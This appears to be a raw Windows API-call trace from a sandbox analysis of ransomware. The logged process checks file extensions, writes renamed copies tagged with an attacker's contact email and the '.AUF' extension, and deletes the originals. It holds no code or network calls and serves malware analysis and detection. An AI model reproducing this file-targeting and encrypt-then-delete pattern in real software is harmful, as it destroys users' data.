lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.238] lstrlenW (lpString=".zip") returned 4 [0221.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.238] lstrlenW (lpString=".rar") returned 4 [0221.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.238] lstrlenW (lpString=".bz2") returned 4 [0221.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.238] lstrlenW (lpString=".7z") returned 3 [0221.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.238] lstrlenW (lpString=".dbf") returned 4 [0221.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.238] lstrlenW (lpString=".1cd") returned 4 [0221.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.239] lstrlenW (lpString=".jpg") returned 4 [0221.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.239] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8424) returned 1 [0221.239] CloseHandle (hObject=0x1e4) returned 1 [0221.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0221.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.239] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.239] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.240] GetLastError () returned 0x0 [0221.240] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x20e8, lpOverlapped=0x0) returned 1 [0221.271] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0221.272] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.272] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.272] SetEndOfFile (hFile=0x210) returned 1 [0221.272] CloseHandle (hObject=0x210) returned 1 [0221.272] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.272] SetEndOfFile (hFile=0x1e4) returned 1 [0221.273] CloseHandle (hObject=0x1e4) returned 1 [0221.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0221.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.273] lstrlenW (lpString=".doc") returned 4 [0221.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.273] lstrlenW (lpString=".docx") returned 5 [0221.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.273] lstrlenW (lpString=".pdf") returned 4 [0221.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.273] lstrlenW (lpString=".xls") returned 4 [0221.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.273] lstrlenW (lpString=".xlsx") returned 5 [0221.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.273] lstrlenW (lpString=".ppt") returned 4 [0221.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.273] lstrlenW (lpString=".zip") returned 4 [0221.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.273] lstrlenW (lpString=".rar") returned 4 [0221.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.273] lstrlenW (lpString=".bz2") returned 4 [0221.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.273] lstrlenW (lpString=".7z") returned 3 [0221.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.273] lstrlenW (lpString=".dbf") returned 4 [0221.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.274] lstrlenW (lpString=".1cd") returned 4 [0221.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0221.274] lstrlenW (lpString=".jpg") returned 4 [0221.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.274] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=7878) returned 1 [0221.274] CloseHandle (hObject=0x1e4) returned 1 [0221.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0221.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.274] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.274] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.275] GetLastError () returned 0x0 [0221.275] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0221.296] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0221.297] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.297] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.297] SetEndOfFile (hFile=0x210) returned 1 [0221.298] CloseHandle (hObject=0x210) returned 1 [0221.298] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.298] SetEndOfFile (hFile=0x1e4) returned 1 [0221.298] CloseHandle (hObject=0x1e4) returned 1 [0221.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString=".doc") returned 4 [0221.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".docx") returned 5 [0221.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.299] lstrlenW (lpString=".pdf") returned 4 [0221.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".xls") returned 4 [0221.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.299] lstrlenW (lpString=".xlsx") returned 5 [0221.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.299] lstrlenW (lpString=".ppt") returned 4 [0221.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString=".zip") returned 4 [0221.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.299] lstrlenW (lpString=".rar") returned 4 [0221.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".bz2") returned 4 [0221.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString=".7z") returned 3 [0221.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString=".dbf") returned 4 [0221.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString=".1cd") returned 4 [0221.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0221.299] lstrlenW (lpString=".jpg") returned 4 [0221.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.312] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2108) returned 1 [0221.312] CloseHandle (hObject=0x220) returned 1 [0221.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0221.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.313] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.313] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.313] GetLastError () returned 0x0 [0221.313] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x83c, lpOverlapped=0x0) returned 1 [0221.321] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x840, lpOverlapped=0x0) returned 1 [0221.322] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.322] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.322] SetEndOfFile (hFile=0x20c) returned 1 [0221.322] CloseHandle (hObject=0x20c) returned 1 [0221.322] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.322] SetEndOfFile (hFile=0x220) returned 1 [0221.323] CloseHandle (hObject=0x220) returned 1 [0221.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString=".doc") returned 4 [0221.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString=".docx") returned 5 [0221.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.324] lstrlenW (lpString=".pdf") returned 4 [0221.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString=".xls") returned 4 [0221.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.324] lstrlenW (lpString=".xlsx") returned 5 [0221.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.324] lstrlenW (lpString=".ppt") returned 4 [0221.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString=".zip") returned 4 [0221.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.324] lstrlenW (lpString=".rar") returned 4 [0221.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString=".bz2") returned 4 [0221.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString=".7z") returned 3 [0221.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString=".dbf") returned 4 [0221.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString=".1cd") returned 4 [0221.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0221.324] lstrlenW (lpString=".jpg") returned 4 [0221.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.325] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8926) returned 1 [0221.325] CloseHandle (hObject=0x220) returned 1 [0221.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0221.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.325] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.325] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.326] GetLastError () returned 0x0 [0221.326] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x22de, lpOverlapped=0x0) returned 1 [0221.327] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0221.328] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.328] WriteFile (in: hFile=0x20c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.328] SetEndOfFile (hFile=0x20c) returned 1 [0221.328] CloseHandle (hObject=0x20c) returned 1 [0221.328] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.328] SetEndOfFile (hFile=0x220) returned 1 [0221.329] CloseHandle (hObject=0x220) returned 1 [0221.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0221.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.329] lstrlenW (lpString=".doc") returned 4 [0221.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.329] lstrlenW (lpString=".docx") returned 5 [0221.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.329] lstrlenW (lpString=".pdf") returned 4 [0221.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.329] lstrlenW (lpString=".xls") returned 4 [0221.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.329] lstrlenW (lpString=".xlsx") returned 5 [0221.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.329] lstrlenW (lpString=".ppt") returned 4 [0221.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.329] lstrlenW (lpString=".zip") returned 4 [0221.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.329] lstrlenW (lpString=".rar") returned 4 [0221.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.329] lstrlenW (lpString=".bz2") returned 4 [0221.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.330] lstrlenW (lpString=".7z") returned 3 [0221.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.330] lstrlenW (lpString=".dbf") returned 4 [0221.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.330] lstrlenW (lpString=".1cd") returned 4 [0221.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0221.330] lstrlenW (lpString=".jpg") returned 4 [0221.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.330] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=17406) returned 1 [0221.330] CloseHandle (hObject=0x220) returned 1 [0221.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0221.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.331] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.331] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), 